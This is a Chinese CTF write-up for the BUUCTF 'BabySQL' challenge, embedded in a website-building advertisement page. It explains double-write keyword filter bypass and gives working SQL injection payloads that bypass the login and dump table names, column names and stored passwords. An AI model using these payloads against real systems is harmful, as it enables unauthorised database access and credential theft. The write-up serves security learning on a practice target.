丹阳网站建设报价joomla drupal wordpress
2026/4/18 11:23:50 网站建设 项目流程
丹阳网站建设报价,joomla drupal wordpress,华为企业网站建设分析,做爰视频免费的网站BUUCTF: [极客大挑战 2019]BabySQL 本文知识点#xff1a;sql注入中的双写绕过: 很多文章只讲了双写能绕过一些场景#xff0c;但是没有说为什么#xff0c;我认为可能是下面这种情况可以使用#xff0c;有不对的地方还请多多指教#xff01; 什么情况下需要双写绕过呢sql注入中的双写绕过: 很多文章只讲了双写能绕过一些场景但是没有说为什么我认为可能是下面这种情况可以使用有不对的地方还请多多指教什么情况下需要双写绕过呢假如你是一个开发者你会怎样处理非法出入呢对我们认为危险的关键字进行监测比如用户传递的参数含有select的时候直接返回不执行数据库的查询操作将用户输入中的危险关键字替换为空比如将select替换为空对应的代码就是replace(select, )针对第二种情况我们就可以使用双写绕过了比如我们传递selselectect,经过代码的替换最终变为了我们想要的select题目描述题目有两个输入框一个输入用户名一个输入密码。以及还有一个登录按钮如下初步尝试我们输入1 or 1#尝试用or的方式使得条件总是为真同时使用#将后续的sql语句注释掉 结果如下可以看到报错中含有#号说明其至少没有被过滤这种情况我们可以考虑or被过滤了使用^代替or测试可以看到成功登录了继续测试其他sql语句发现union、*、select、from、or、where都被过滤了以下是其中一个测试的截图(因为我们传递的union后面没有语句了但是返回结果却没有报错所以我猜测他被替换为空了)思考如何绕过前面知识点中提到后端的代码可能是replace(select,)这种形式针对这种形式我们就可以采用双写绕过首先查询数据库中有哪些表我们输入下面的内容, 其中**-1是为了让第一个查询失败以回显我们需要的信息**。-1 ^1uniounionn sselectelect1,2,(seselectlect group_concat(table_name)frfromom infoorrmation_schema.tables whewhereretable_schemadatabase())#password2注意information中的or也需要双写后端服务器进行替换后的内容就是-1 ^1unionselect1,2,(select group_concat(table_name)from information_schema.tables wheretable_schemadatabase())#password2成功输出了数据库中的表名结果如下查询数据库表中的列名因为*也被过滤了不能直接查询所有内容。使用的语句如下username-1%27^1%20uniounionn%20sselectelect%201,2,(seselectlect%20group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whewherere%20table_schemadatabase()aandndtable_nameb4bsql)%23password2成功回显表b4bsql的列名查询数据的各个字段内容这里最终测试flag是保存在password之中的使用的sql语句如下username-1%27^1%20uniounionn%20sselectelect%201,2,(seselectlect%20group_concat(passwoorrd)%20frfromom%20b4bsql)%23password2​ 反馈的结果如下

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询